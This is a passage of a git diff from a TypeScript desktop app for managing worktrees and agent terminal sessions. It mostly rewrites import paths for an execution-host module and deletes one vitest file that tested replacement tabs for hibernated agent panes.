resetHookCommandDelayedDeliveryForTests } from '../creation/setup/hook-command-delayed-delivery' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/lib/workspace/activation/worktree-jump-navigation.ts b/src/renderer/src/lib/workspace/activation/worktree-jump-navigation.ts index 0f08545593c..d8d17dfa33e 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-jump-navigation.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-jump-navigation.ts @@ -9,7 +9,7 @@ import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/work import { normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' function wasHiddenBySidebarFilters(worktreeId: string, executionHostId?: ExecutionHostId): boolean { diff --git a/src/renderer/src/lib/workspace/activation/worktree-reactivation-preserved-pane-replacement.test.ts b/src/renderer/src/lib/workspace/activation/worktree-reactivation-preserved-pane-replacement.test.ts deleted file mode 100644 index 7b5660dd88a..00000000000 --- a/src/renderer/src/lib/workspace/activation/worktree-reactivation-preserved-pane-replacement.test.ts +++ /dev/null @@ -1,222 +0,0 @@ -import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' -import { getDefaultSettings } from '../../../../../shared/constants' -import path from 'node:path' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { useAppStore } from '@/store/index' -import type { AppState } from '@/store/types' -import { activateAndRevealWorktree } from './worktree-activation' -import { waitForWorktreeAgentActivationGateForTests } from './worktree-agent-activation-gate' -import { makeCreatedAgentWorktree as makeWorktree } from '@/lib/workspace/activation/worktree-activation-created-agent.test-fixture' -import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' - -// Main's answer to the window's layout commands, as a switch-on build sends them. -vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) => - ( - await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture') - ).runtimeRpcClientWithLayoutApply(await importOriginal()) -) - -// Unresumable husks retain scrollback and get one replacement/provider session; live or cold-restorable panes get none (run6-review-pr-11959). - -const initialAppStoreState = useAppStore.getState() - -const LEAF_ID = '22222222-2222-4222-8222-222222222222' -const HUSK_TAB_ID = 'husk-tab-1' - -function baseState(worktree: ReturnType): Partial { - return { - repos: [ - { - id: 'repo-1', - path: path.join(path.sep, 'workspace', 'repo'), - displayName: 'repo', - badgeColor: '#000000', - addedAt: 0 - } - ], - worktreesByRepo: { 'repo-1': [worktree] }, - activeRepoId: 'repo-1', - activeView: 'terminal', - workspaceSessionReady: true, - terminalStartupRestorationReady: true, - tabsByWorktree: {}, - unifiedTabsByWorktree: {}, - groupsByWorktree: {}, - layoutByWorktree: {}, - activeGroupIdByWorktree: {}, - openFiles: [], - browserTabsByWorktree: {}, - activeFileIdByWorktree: {}, - activeBrowserTabIdByWorktree: {}, - activeTabTypeByWorktree: {}, - activeTabIdByWorktree: {}, - tabBarOrderByWorktree: {}, - pendingStartupByTabId: {}, - automaticAgentResumeClaimsByTabId: {}, - agentStatusByPaneKey: acceptedAgentStatuses(Object.entries({})), - sleepingAgentSessionsByPaneKey: {}, - ptyIdsByTabId: {}, - terminalLayoutsByTabId: {}, - settings: { - ...getDefaultSettings(''), - agentCmdOverrides: {} - }, - markWorktreeVisited: vi.fn(), - recordWorktreeVisit: vi.fn(), - refreshGitHubForWorktreeIfStale: vi.fn(), - revealWorktreeInSidebar: vi.fn() - } -} - -function seedHuskTab( - state: Partial, - worktreeId: string, - ptyBinding: string | null -): void { - state.tabsByWorktree = { - [worktreeId]: [{ id: HUSK_TAB_ID, title: 'Codex', ptyId: null } as never] - } - state.unifiedTabsByWorktree = { - [worktreeId]: [ - { - id: `unified-${HUSK_TAB_ID}`, - contentType: 'terminal', - entityId: HUSK_TAB_ID, - groupId: 'group-1' - } as never - ] - } - state.groupsByWorktree = { - [worktreeId]: [ - { - id: 'group-1', - activeTabId: `unified-${HUSK_TAB_ID}`, - tabOrder: [`unified-${HUSK_TAB_ID}`], - recentTabIds: [] - } as never - ] - } - state.activeGroupIdByWorktree = { [worktreeId]: 'group-1' } - state.terminalLayoutsByTabId = { - [HUSK_TAB_ID]: { - root: { type: 'leaf', leafId: LEAF_ID }, - activeLeafId: LEAF_ID, - ...(ptyBinding ? { ptyIdsByLeafId: { [LEAF_ID]: ptyBinding } } : {}) - } as never - } -} - -function seedSleepingRecord(worktreeId: string, sessionId: string): void { - const paneKey = makePaneKey(HUSK_TAB_ID, LEAF_ID) - useAppStore.setState((s) => ({ - sleepingAgentSessionsByPaneKey: { - ...s.sleepingAgentSessionsByPaneKey, - [paneKey]: { - paneKey, - tabId: HUSK_TAB_ID, - worktreeId, - agent: 'codex' as const, - providerSession: { key: 'session_id' as const, id: sessionId }, - prompt: 'resume prior task', - state: 'working' as const, - origin: 'quit' as const, - capturedAt: 1000, - updatedAt: 1000, - terminalTitle: 'Codex' - } - } - })) -} - -afterEach(() => { - useAppStore.setState(initialAppStoreState, true) -}) - -describe('preserved-pane replacement contract on workspace activation', () => { - it('appends exactly one replacement tab for a husk pane and retains the husk across repeats', async () => { - const worktree = { ...makeWorktree(), createdWithAgent: undefined } - const state = baseState(worktree) - // Hibernation cleared the pane's PTY binding: the husk cannot resume in place. - seedHuskTab(state, worktree.id, null) - useAppStore.setState(state) - seedSleepingRecord(worktree.id, 'codex-session-A') - - activateAndRevealWorktree(worktree.id) - await waitForWorktreeAgentActivationGateForTests(worktree.id) - - const afterFirst = useAppStore.getState() - const tabsAfterFirst = afterFirst.tabsByWorktree[worktree.id] ?? [] - expect(tabsAfterFirst.map((tab) => tab.id)).toContain(HUSK_TAB_ID) - expect(tabsAfterFirst).toHaveLength(2) - const replacement = tabsAfterFirst.find((tab) => tab.id !== HUSK_TAB_ID)! - expect(afterFirst.automaticAgentResumeClaimsByTabId[replacement.id]?.providerSession).toEqual({ - key: 'session_id', - id: 'codex-session-A' - }) - expect(afterFirst.consumeTabStartupCommand(replacement.id)?.resumeProviderSession).toEqual({ - key: 'session_id', - id: 'codex-session-A' - }) - - // Reopening must not fork more tabs or launch another resume. - activateAndRevealWorktree(worktree.id) - activateAndRevealWorktree(worktree.id) - const afterRepeats = useAppStore.getState() - expect(afterRepeats.tabsByWorktree[worktree.id]).toHaveLength(2) - }) - - it('does not fork a NON-group-active restorable pane into a replacement tab', async () => { - const worktree = { ...makeWorktree(), createdWithAgent: undefined } - const state = baseState(worktree) - seedHuskTab(state, worktree.id, 'pty-old-1') - // The husk is hidden behind another active tab but still mounts keep-alive for in-place cold restore. - state.tabsByWorktree = { - [worktree.id]: [ - { id: HUSK_TAB_ID, title: 'Codex', ptyId: null } as never, - { id: 'other-tab-1', title: 'shell', ptyId: null } as never - ] - } - state.unifiedTabsByWorktree = { - [worktree.id]: [ - { - id: `unified-${HUSK_TAB_ID}`, - contentType: 'terminal', - entityId: HUSK_TAB_ID, - groupId: 'group-1' - } as never, - { - id: 'unified-other-tab-1', - contentType: 'terminal', - entityId: 'other-tab-1', - groupId: 'group-1' - } as never - ] - } - state.groupsByWorktree = { - [worktree.id]: [ - { - id: 'group-1', - activeTabId: 'unified-other-tab-1', - tabOrder: [`unified-${HUSK_TAB_ID}`, 'unified-other-tab-1'], - recentTabIds: [] - } as never - ] - } - state.activeTabIdByWorktree = { [worktree.id]: 'other-tab-1' } - state.activeTabTypeByWorktree = { [worktree.id]: 'terminal' } - useAppStore.setState(state) - seedSleepingRecord(worktree.id, 'codex-session-D') - - activateAndRevealWorktree(worktree.id) - activateAndRevealWorktree(worktree.id) - await waitForWorktreeAgentActivationGateForTests(worktree.id) - - const after = useAppStore.getState() - expect(after.tabsByWorktree[worktree.id]?.map((tab) => tab.id)).toEqual([ - HUSK_TAB_ID, - 'other-tab-1' - ]) - // Keep the record with its cold-restoring pane or pane and replacement both resume it. - expect(after.sleepingAgentSessionsByPaneKey[makePaneKey(HUSK_TAB_ID, LEAF_ID)]).toBeDefined() - }) -}) diff --git a/src/renderer/src/lib/workspace/activation/worktree-visit-recency.ts b/src/renderer/src/lib/workspace/activation/worktree-visit-recency.ts index 767fb0f67f4..03e70c8087a 100644 --- a/src/renderer/src/lib/workspace/activation/worktree-visit-recency.ts +++ b/src/renderer/src/lib/workspace/activation/worktree-visit-recency.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity, getWorktreeHostIdentity, diff --git a/src/renderer/src/lib/workspace/attachments/workspace-attachment-observed-origin.ts b/src/renderer/src/lib/workspace/attachments/workspace-attachment-observed-origin.ts index 635254aad1f..64c77d349b1 100644 --- a/src/renderer/src/lib/workspace/attachments/workspace-attachment-observed-origin.ts +++ b/src/renderer/src/lib/workspace/attachments/workspace-attachment-observed-origin.ts @@ -1,5 +1,5 @@ import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { NotificationWorkspaceOwner } from '../../../../../shared/notifications/notification-source' import { resolveNotificationTabOwner, diff --git a/src/renderer/src/lib/workspace/catalog/repo-ssh-connection.ts b/src/renderer/src/lib/workspace/catalog/repo-ssh-connection.ts index dcfcb606839..0712f369f09 100644 --- a/src/renderer/src/lib/workspace/catalog/repo-ssh-connection.ts +++ b/src/renderer/src/lib/workspace/catalog/repo-ssh-connection.ts @@ -7,7 +7,7 @@ import { getRepoExecutionHostId, getRepoSshConnectionId, parseExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { SshConnectionStatus } from '../../../../../shared/remote-runtime/ssh/ssh-types' diff --git a/src/renderer/src/lib/workspace/creation/new-workspace-composer-repo.ts b/src/renderer/src/lib/workspace/creation/new-workspace-composer-repo.ts index 41dd6dcf2cc..dd13977c3aa 100644 --- a/src/renderer/src/lib/workspace/creation/new-workspace-composer-repo.ts +++ b/src/renderer/src/lib/workspace/creation/new-workspace-composer-repo.ts @@ -2,7 +2,7 @@ import { getRepoExecutionHostId, isRuntimeOwnedSshTargetId, parseExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import '../../../../../shared/new-workspace/new-workspace-dialog-repo' import { getProjectIdentityKey } from '../../../../../shared/project/host-setup/project-host-setup-projection' import type { Repo } from '../../../../../shared/repository/repo-types' diff --git a/src/renderer/src/lib/workspace/creation/new-workspace-duplicate-project-details.ts b/src/renderer/src/lib/workspace/creation/new-workspace-duplicate-project-details.ts index 4486f758480..d206048e328 100644 --- a/src/renderer/src/lib/workspace/creation/new-workspace-duplicate-project-details.ts +++ b/src/renderer/src/lib/workspace/creation/new-workspace-duplicate-project-details.ts @@ -1,4 +1,7 @@ -import { getExecutionHostLabel, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getExecutionHostLabel, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { NewWorkspaceProjectOption } from './new-workspace-project-options' export type ProjectSetupDirectory = { diff --git a/src/renderer/src/lib/workspace/creation/new-workspace-project-options.ts b/src/renderer/src/lib/workspace/creation/new-workspace-project-options.ts index c3f86028dfd..477a2affad3 100644 --- a/src/renderer/src/lib/workspace/creation/new-workspace-project-options.ts +++ b/src/renderer/src/lib/workspace/creation/new-workspace-project-options.ts @@ -9,7 +9,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { buildProjectGroupingIndex, isCheckoutScopedProjectSetup diff --git a/src/renderer/src/lib/workspace/creation/new-workspace-ssh-gate.ts b/src/renderer/src/lib/workspace/creation/new-workspace-ssh-gate.ts index 27446cfe145..8b0e5c0752a 100644 --- a/src/renderer/src/lib/workspace/creation/new-workspace-ssh-gate.ts +++ b/src/renderer/src/lib/workspace/creation/new-workspace-ssh-gate.ts @@ -1,5 +1,5 @@ import { isConnectingSshStatus } from '@/ssh/ssh-connection-recoverability' -import { isRuntimeOwnedSshTargetId } from '../../../../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../../../shared/execution-host/execution-host' import type { SshConnectionStatus } from '../../../../../shared/remote-runtime/ssh/ssh-types' export type SelectedRepoSshGate = { diff --git a/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts b/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts index 95f7d1d3d68..ac5384a2af1 100644 --- a/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts +++ b/src/renderer/src/lib/workspace/creation/pending-worktree-creation.ts @@ -1,6 +1,6 @@ import type { LaunchAgentStartupPromptPlan } from '@/lib/agent-session/launch/prompt/launch-agent-startup-prompt-plan' import type { agentPickerLaunchInputs } from '../../../../../shared/agent-launch/picker/agent-launch-picker' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { worktreeIdsEqual } from '../../../../../shared/worktree/id' import type { WorkspaceLinkedItem as FolderWorkspaceLinkedTask, diff --git a/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts b/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts index 1872e3f4945..ba5da93ed17 100644 --- a/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts +++ b/src/renderer/src/lib/workspace/creation/project-host-setup-options.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { ExecutionHostRegistryEntry } from '../../../../../shared/execution-host/execution-host-registry-entry' import { getHostHealthUnavailableDetail } from './project-host-health-detail' import { isHostLocalProjectId } from '../../../../../shared/project/host-setup/project-host-setup-projection' diff --git a/src/renderer/src/lib/workspace/creation/project-host-setup-row-dedupe.ts b/src/renderer/src/lib/workspace/creation/project-host-setup-row-dedupe.ts index d6ea2f48ed3..dcc6ee6af14 100644 --- a/src/renderer/src/lib/workspace/creation/project-host-setup-row-dedupe.ts +++ b/src/renderer/src/lib/workspace/creation/project-host-setup-row-dedupe.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { ExecutionHostRegistryEntry } from '../../../../../shared/execution-host/execution-host-registry-entry' import type { ProjectHostSetupSelection, diff --git a/src/renderer/src/lib/workspace/creation/project-host-workspace-target.ts b/src/renderer/src/lib/workspace/creation/project-host-workspace-target.ts index ed36f60bc53..e7f01d96aec 100644 --- a/src/renderer/src/lib/workspace/creation/project-host-workspace-target.ts +++ b/src/renderer/src/lib/workspace/creation/project-host-workspace-target.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, type ExecutionHostId, type ExecutionHostScope -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getProjectIdentityKey, projectHostSetupProjectionFromRepos diff --git a/src/renderer/src/lib/workspace/creation/quick-workspace-agent-selection.ts b/src/renderer/src/lib/workspace/creation/quick-workspace-agent-selection.ts index c0ad812c7fb..6ce52d0d264 100644 --- a/src/renderer/src/lib/workspace/creation/quick-workspace-agent-selection.ts +++ b/src/renderer/src/lib/workspace/creation/quick-workspace-agent-selection.ts @@ -4,7 +4,7 @@ import { type AgentPickerDraft, type AgentPickerEntry } from '../../../../../shared/agent-launch/picker/agent-launch-picker' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { ProspectiveWorkspace } from '@/lib/agent-session/launch/routing/agent-launch-route-input' import { diff --git a/src/renderer/src/lib/workspace/creation/run-target-host-visibility.ts b/src/renderer/src/lib/workspace/creation/run-target-host-visibility.ts index 28814a3610a..7b288064a75 100644 --- a/src/renderer/src/lib/workspace/creation/run-target-host-visibility.ts +++ b/src/renderer/src/lib/workspace/creation/run-target-host-visibility.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { ExecutionHostRegistryEntry } from '../../../../../shared/execution-host/execution-host-registry-entry' import { isEphemeralVmProjectHost } from './project-host-setup-options' diff --git a/src/renderer/src/lib/workspace/creation/setup/folder-setup-support.ts b/src/renderer/src/lib/workspace/creation/setup/folder-setup-support.ts index 57301a97b9c..689c62616f2 100644 --- a/src/renderer/src/lib/workspace/creation/setup/folder-setup-support.ts +++ b/src/renderer/src/lib/workspace/creation/setup/folder-setup-support.ts @@ -2,7 +2,7 @@ import { useCallback, useEffect, useSyncExternalStore } from 'react' import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../../../shared/repository/repo-kind' import type { WorkspaceHookOwner } from '../../../../../../shared/workspace-setup/hooks/workspace-hook-owner' import type { RuntimeCapability } from '../../../../../../shared/remote-runtime/protocol/protocol-version' diff --git a/src/renderer/src/lib/workspace/creation/setup/workspace-setup-preparation.ts b/src/renderer/src/lib/workspace/creation/setup/workspace-setup-preparation.ts index e302100fb76..01f354f6e4b 100644 --- a/src/renderer/src/lib/workspace/creation/setup/workspace-setup-preparation.ts +++ b/src/renderer/src/lib/workspace/creation/setup/workspace-setup-preparation.ts @@ -1,6 +1,6 @@ import type { HookCheckResult } from '@/runtime/repo-hooks/runtime-hooks-client' import { checkRuntimeHooks } from '@/runtime/repo-hooks/runtime-hooks-client' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { OrcaHooks, RepoHookSettings diff --git a/src/renderer/src/lib/workspace/creation/setup/workspace-setup-trust.ts b/src/renderer/src/lib/workspace/creation/setup/workspace-setup-trust.ts index f04f956618b..94ab48059d1 100644 --- a/src/renderer/src/lib/workspace/creation/setup/workspace-setup-trust.ts +++ b/src/renderer/src/lib/workspace/creation/setup/workspace-setup-trust.ts @@ -6,7 +6,7 @@ import type { AppState } from '@/store/types' import { getRepoExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../../../shared/repository/repo-kind' import type { SetupDecision } from '../../../../../../shared/worktree/create-types' import type { ApprovedSetupHashes } from '../../../../../../shared/worktree/creation/approved-setup-hashes' diff --git a/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts b/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts index f3182ad0375..cba8274c5e9 100644 --- a/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts +++ b/src/renderer/src/lib/workspace/creation/surface-policy/client-creation-action-policy.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import '../../../../../../shared/remote-runtime/protocol/protocol-version' import { BROWSER_SCREENCAST_RUNTIME_CAPABILITY } from '../../../../../../shared/browser/runtime/browser-runtime-capabilities' import { isPairedWebClientWindow } from '../../../../app-shell/chrome/desktop-window-chrome' @@ -8,7 +8,7 @@ import { getOrcadSshDeployment } from '../../../../../../shared/remote-runtime/h import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import type { RuntimeStatus } from '../../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { AppState } from '@/store/types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' export const MANAGED_BROWSER_UNAVAILABLE_MESSAGE = "Managed browser tabs are unavailable because this web client's paired runtime does not support browser streaming." diff --git a/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts b/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts index 577953fca8f..17fb85b37e9 100644 --- a/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts +++ b/src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.ts @@ -9,7 +9,7 @@ import { inspectRequiredWorkspaceSetup as resolveDirectSetupDecision } from '../ import type { WorkspaceSetupInspection as DirectSetupInspection } from '../setup/workspace-setup-preparation' import { confirmWorkspaceSetupDecision } from '../setup/workspace-setup-trust' import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { SetupDecision } from '../../../../../../shared/worktree/create-types' import type { SetupHooksCreateSource } from '../../../../../../shared/worktree/setup-hooks-create-source' diff --git a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts index 29dd5e7af62..c98a4671dd1 100644 --- a/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts +++ b/src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-preflight.ts @@ -22,8 +22,8 @@ import { } from '../../../agent-session/launch/routing/agent-session-launch-plan' import type { AgentSessionLaunchRequest } from '../../../agent-session/launch/routing/agent-session-launch-plan' import { resolveGitHubPrStartPointForRepo } from '@/lib/source-control/review/github-pr-start-point' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' import '../setup/workspace-setup-preparation' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-completion.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-completion.ts index d152a0b57c5..20ef53e349e 100644 --- a/src/renderer/src/lib/workspace/creation/worktree-creation-completion.ts +++ b/src/renderer/src/lib/workspace/creation/worktree-creation-completion.ts @@ -1,5 +1,5 @@ import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner' import { useAppStore } from '@/store/index' import { ensureAgentStartupInTerminal } from '@/lib/workspace/creation/new-workspace' diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-initial-tabs.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-initial-tabs.ts index be8c0568c1b..427481e5f6a 100644 --- a/src/renderer/src/lib/workspace/creation/worktree-creation-initial-tabs.ts +++ b/src/renderer/src/lib/workspace/creation/worktree-creation-initial-tabs.ts @@ -1,5 +1,5 @@ import { useAppStore } from '@/store/index' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorktreeDefaultTabsLaunch } from '../../../../../shared/worktree/creation/launch-types' import type { CreatedWorktreeResult } from '@/store/slices/worktrees/create/worktree-create-payload' import type { WorktreeActivationOptions } from '../activation/worktree-activation-surface-selection' diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx b/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx index 08a89355d50..94b9f06cf67 100644 --- a/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx +++ b/src/renderer/src/lib/workspace/creation/worktree-creation-ready-toast.tsx @@ -8,7 +8,7 @@ import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership import { resolveIndexedWorktreeOwner } from '@/lib/workspace/ownership/worktree-runtime-owner-index' import { withRepoHostOwnership } from '@/store/slices/worktrees/listing/worktree-host-ownership' import { isFolderRepo } from '../../../../../shared/repository/repo-kind' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { worktreeIdsEqual } from '../../../../../shared/worktree/id' import type { Worktree } from '../../../../../shared/worktree/types' import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' diff --git a/src/renderer/src/lib/workspace/creation/worktree-creation-surface.ts b/src/renderer/src/lib/workspace/creation/worktree-creation-surface.ts index 97d60d601a8..71ab42884ce 100644 --- a/src/renderer/src/lib/workspace/creation/worktree-creation-surface.ts +++ b/src/renderer/src/lib/workspace/creation/worktree-creation-surface.ts @@ -1,5 +1,5 @@ import { getIndexedReposById } from '@/store/repos/repository-catalog-index' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../../shared/repository/repo-kind' import type { UISlice } from '@/store/slices/ui/ui-slice-contract' import { toast } from 'sonner' diff --git a/src/renderer/src/lib/workspace/ownership/active-workspace-host.ts b/src/renderer/src/lib/workspace/ownership/active-workspace-host.ts index f87b025285c..c65e985ce8a 100644 --- a/src/renderer/src/lib/workspace/ownership/active-workspace-host.ts +++ b/src/renderer/src/lib/workspace/ownership/active-workspace-host.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' type SelectionState = { activeWorktreeId?: string | null diff --git a/src/renderer/src/lib/workspace/ownership/connection-owner-resolution.ts b/src/renderer/src/lib/workspace/ownership/connection-owner-resolution.ts index 62dc832475a..f92a150975f 100644 --- a/src/renderer/src/lib/workspace/ownership/connection-owner-resolution.ts +++ b/src/renderer/src/lib/workspace/ownership/connection-owner-resolution.ts @@ -5,9 +5,9 @@ import { resolveWorktreeExecutionHost } from '../../../../../shared/execution-ho import { getRepoExecutionHostId, getRepoSshConnectionId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { @@ -21,7 +21,7 @@ import { selectWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' import { resolveQualifiedIndexedFolderWorkspace } from '@/store/folder-workspaces/folder-workspace-record-index' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { resolveQualifiedWorktreeExecutionOwner } from './qualified-worktree-execution-owner' type ConnectionOwnerState = Pick< diff --git a/src/renderer/src/lib/workspace/ownership/direct-ssh-target-scope.ts b/src/renderer/src/lib/workspace/ownership/direct-ssh-target-scope.ts index e709a045f4d..bb8019a81c6 100644 --- a/src/renderer/src/lib/workspace/ownership/direct-ssh-target-scope.ts +++ b/src/renderer/src/lib/workspace/ownership/direct-ssh-target-scope.ts @@ -4,7 +4,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { worktreeWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { DirectSshRepoOwner as RepoOwner, diff --git a/src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts b/src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts index 3ac5a871634..1bb33426173 100644 --- a/src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts +++ b/src/renderer/src/lib/workspace/ownership/duplicate-paired-servers.ts @@ -2,7 +2,7 @@ * Saved servers that are one machine paired twice. Each publishes the same workspaces, so a write to * any of them is ambiguous until the user removes one entry. */ -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/lib/workspace/ownership/folder-workspace-runtime-owner.ts b/src/renderer/src/lib/workspace/ownership/folder-workspace-runtime-owner.ts index 3dfaac8bffc..7ddb0c25cda 100644 --- a/src/renderer/src/lib/workspace/ownership/folder-workspace-runtime-owner.ts +++ b/src/renderer/src/lib/workspace/ownership/folder-workspace-runtime-owner.ts @@ -5,7 +5,7 @@ import { toSshExecutionHostId, type ExecutionHostId, type ParsedExecutionHost -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../shared/project/groups/project-group-types' diff --git a/src/renderer/src/lib/workspace/ownership/qualified-worktree-execution-owner.ts b/src/renderer/src/lib/workspace/ownership/qualified-worktree-execution-owner.ts index f90034010b0..12459a212ca 100644 --- a/src/renderer/src/lib/workspace/ownership/qualified-worktree-execution-owner.ts +++ b/src/renderer/src/lib/workspace/ownership/qualified-worktree-execution-owner.ts @@ -1,5 +1,5 @@ import type { Worktree } from '../../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { resolveWorktreeExecutionHost, type ExecutionHostOwnerRow diff --git 